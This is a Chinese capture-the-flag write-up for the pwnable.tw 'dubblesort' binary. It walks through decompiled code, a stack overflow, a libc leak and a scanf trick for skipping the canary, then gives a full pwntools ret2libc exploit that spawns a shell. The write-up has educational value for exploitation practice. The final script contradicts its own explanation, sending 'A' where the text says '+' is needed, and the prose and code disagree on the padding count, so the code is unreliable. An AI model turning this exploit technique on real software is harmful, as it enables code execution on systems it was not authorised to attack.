1 程序分析

32位,保护全开

1
2
3
4
5
6
7
8
9
(pwn) secreu@Vanilla:~/code/pwnable/dubblesort$ checksec --file=dubblesort
[*] '/home/secreu/code/pwnable/dubblesort/dubblesort'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/secreu/code/pwnable/dubblesort'
FORTIFY: Enabled

题目提供的 libc 是 32 位 2.23 版本,要用 patchelf 替换同样版本解释器

1
2
3
4
5
6
(pwn) secreu@Vanilla:~/code/pwnable/dubblesort$ strings libc_32.so.6 | grep "Ubuntu GLIBC"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.
(pwn) secreu@Vanilla:~/code/pwnable/dubblesort$ ldd dubblesort
linux-gate.so.1 (0xf7ec8000)
./libc_32.so.6 (0xf7d07000)
/home/secreu/glibc-all-in-one/libs/2.23-0ubuntu3_i386/ld-linux.so.2 => /lib/ld-linux.so.2 (0xf7eca000)

1.1 程序流程

初步运行一下,先输入一个名字,它给你打个招呼,然后输入要排序的数字个数,依次输入数字,然后它会输出升序排序后的结果

1
2
3
4
5
6
7
8
9
10
11
(pwn) secreu@Vanilla:~/code/pwnable/dubblesort$ ./dubblesort 
What your name :aaa
Hello aaa
t���/,How many numbers do you what to sort :4
Enter the 0 number : 0
Enter the 1 number : 5
Enter the 2 number : 1
Enter the 3 number : 3
Processing......
Result :
0 1 3 5

但是这里有一个很奇怪的地方,它打招呼时紧跟在名字后面出现了其他字符,猜测缓冲区初始状态不是全 0,所以它输出了其中一部分内容

关注 main 函数中的几个关键变量

  • _BYTE v9[32]:存储无符号整型,根据定义其最多 8 个,但是数量是我们给的,这里可以溢出
  • _BYTE buf[64]:存储我们输入的名字字符串,最多 64 字节
  • unsigned int v11:存储 canary,其最低字节是 0,位置就在 buf 后边,因为 read(0, buf, 0x40u); 不存在溢出,无法从这里泄露 canary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
_BYTE *v4; // edi
unsigned int i; // esi
unsigned int j; // esi
int result; // eax
unsigned int v8; // [esp+18h] [ebp-74h] BYREF
_BYTE v9[32]; // [esp+1Ch] [ebp-70h] BYREF
_BYTE buf[64]; // [esp+3Ch] [ebp-50h] BYREF
unsigned int v11; // [esp+7Ch] [ebp-10h]

v11 = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, "What your name :");
read(0, buf, 0x40u);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &v8);
v3 = v8;
if ( v8 )
{
v4 = v9;
for ( i = 0; i < v8; ++i )
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
v3 = v8;
v4 += 4;
}
}
sub_931(v9, v3);
puts("Result :");
if ( v8 )
{
for ( j = 0; j < v8; ++j )
__printf_chk(1, "%u ");
}
result = 0;
if ( __readgsdword(0x14u) != v11 )
sub_BA0();
return result;
}

然后是 sub_931 函数,一个经典的冒泡排序(所以题目为什么不叫 bubblesort?)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
unsigned int __cdecl sub_931(unsigned int *a1, int a2)
{
int v2; // ecx
int i; // edi
unsigned int v4; // edx
unsigned int v5; // esi
unsigned int *v6; // eax
unsigned int result; // eax
unsigned int v8; // [esp+1Ch] [ebp-20h]

v8 = __readgsdword(0x14u);
puts("Processing......");
sleep(1u);
if ( a2 != 1 )
{
v2 = a2 - 2;
for ( i = (int)&a1[a2 - 1]; ; i -= 4 )
{
if ( v2 != -1 )
{
v6 = a1;
do
{
v4 = *v6;
v5 = v6[1];
if ( *v6 > v5 )
{
*v6 = v5;
v6[1] = v4;
}
++v6;
}
while ( (unsigned int *)i != v6 );
if ( !v2 )
break;
}
--v2;
}
}
result = __readgsdword(0x14u) ^ v8;
if ( result )
sub_BA0();
return result;
}

1.2 缓冲区溢出

_BYTE v9[32] 存在溢出,下面这部分代码根据用户输入的数字,往 v9 写入了任意个无符号整型,但是根据定义其最多允许存储 8 个,我们可以利用这个覆盖返回地址,但是需要绕过 canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &v8);
v3 = v8;
if ( v8 )
{
v4 = v9;
for ( i = 0; i < v8; ++i )
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
v3 = v8;
v4 += 4;
}
}

2 漏洞利用

2.1 泄露 Libc

前面运行程序时发现,它输出我们输入的名字时多了一些其他字符,我们调试看看里面有什么
首先断点到 read 前查看 buf 的位置为 ebp - 0x5c

leak_libc_1

进一步查看其中有什么内容,发现在 buf + 24 处有一个明显位于 libc 的地址,我们只需要泄露这个地址,再减去 0x1b0000 就可以得到 libc 基址

leak_libc_2

因为该地址最低字节是 0,我们要填入 24 + 1 = 25 个字符,才能通过程序中的 __printf_chk 将其输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
offset = 25
io.sendafter(b'What your name :', b'A' * offset)
io.recvuntil(b'A' * offset)

libc_1b0000 = u32(io.recvn(3).rjust(4, b'\x00'))
log.info('libc_1b0000: ' + hex(libc_1b0000))

"""
[DEBUG] Received 0x10 bytes:
b'What your name :'
[DEBUG] Sent 0x19 bytes:
b'A' * 0x19
[DEBUG] Received 0x5a bytes:
00000000 48 65 6c 6c 6f 20 41 41 41 41 41 41 41 41 41 41 │Hell│o AA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 a0 │AAAA│AAAA│AAAA│AAA·│
00000020 f6 f7 44 82 f6 f7 01 96 5b 56 a9 97 5b 56 a0 af │··D·│····│[V··│[V··│
00000030 5b 56 01 2c 48 6f 77 20 6d 61 6e 79 20 6e 75 6d │[V·,│How │many│ num│
00000040 62 65 72 73 20 64 6f 20 79 6f 75 20 77 68 61 74 │bers│ do │you │what│
00000050 20 74 6f 20 73 6f 72 74 20 3a │ to │sort│ :│
0000005a
[*] libc_1b0000: 0xf7f6a000
"""

2.1 绕过 Canary

有了 libc 就可以构造 ROP,但是还有一个问题,如何绕过 canary 覆盖到返回地址?
程序每读一个 %u 到 v9 就 +4 继续读下一个,但是它并没有检查 scanf 的返回值,如果读取出现问题呢?

这里先说结论:可以通过输入 “+” 或者 “-“ 跳过当前地址的读取
原因如下:scanf 处理 number 时要应对正负数的情况,所以需要额外处理 “+” 和 “-“,这两个符号会进入其处理 number 的临时缓冲区 charbuf,然后继续读取下一个字符,最后读完。当只有一个 “+” 的时候,读完 “+” 并将其加入 charbuf,然后读到 “\n”,发现只有符号没有数字,就把 “\n” 退回到输入流,并退出返回 0(正常读取成功的返回值应该是 1),下一个 scanf 会跳过这个 “\n”。而其他字符比如 “A” 不会进入 charbuf,而时被退回输入流,从而阻塞下一个 scanf。感兴趣的话可以专门去读vfscanf源码

1
2
3
4
5
6
7
8
9
10
11
12
if ( v8 )
{
v4 = v9;
for ( i = 0; i < v8; ++i )
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
v3 = v8;
v4 += 4;
}
}

接下来就只需要布置 ROP 即可,这里还要注意 sub_931 会对所有数字进行升序排序,我们要保证我们输入的 ROP 不会被打乱,以及 canary 不会易位。可以在 canary 之前全填 0,canary 之后全填 libc 上的地址(最高字节 0xf7 非常大)

首先用 24 个 0 填充 canary 之前,然后 “+” 跳过 canary,接着 7 个 system 地址填充到 saved ebp,最后 saved eip 填 system,根据 x32 的调用规则,紧跟着还要填返回地址和参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
libc_base = libc_1b0000 - 0x1B0000
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

io.sendlineafter(b'what to sort :', b'35')

for i in range(24):
io.sendlineafter(b'number : ', b'0')
io.sendlineafter(b'number : ', b'A')
for i in range(9):
io.sendlineafter(b'number : ', str(system).encode())
io.sendlineafter(b'number : ', str(binsh).encode())

io.interactive()

3 利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

elf = ELF('./dubblesort')
libc = ELF('./libc_32.so.6')

context(os=elf.os, arch=elf.arch, log_level='debug')

io = process(elf.path)
# io = gdb.debug(elf.path, "b main")
# io = remote("chall.pwnable.tw", 10101)

offset = 25 # local - 25 remote - 29
io.sendafter(b'What your name :', b'A' * offset)
io.recvuntil(b'A' * offset)

libc_1b0000 = u32(io.recvn(3).rjust(4, b'\x00'))
log.info('libc_1b0000: ' + hex(libc_1b0000))

libc_base = libc_1b0000 - 0x1B0000
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

io.sendlineafter(b'what to sort :', b'35')

for i in range(24):
io.sendlineafter(b'number : ', b'0')
io.sendlineafter(b'number : ', b'A')
for i in range(9):
io.sendlineafter(b'number : ', str(system).encode())
io.sendlineafter(b'number : ', str(binsh).encode())

io.interactive()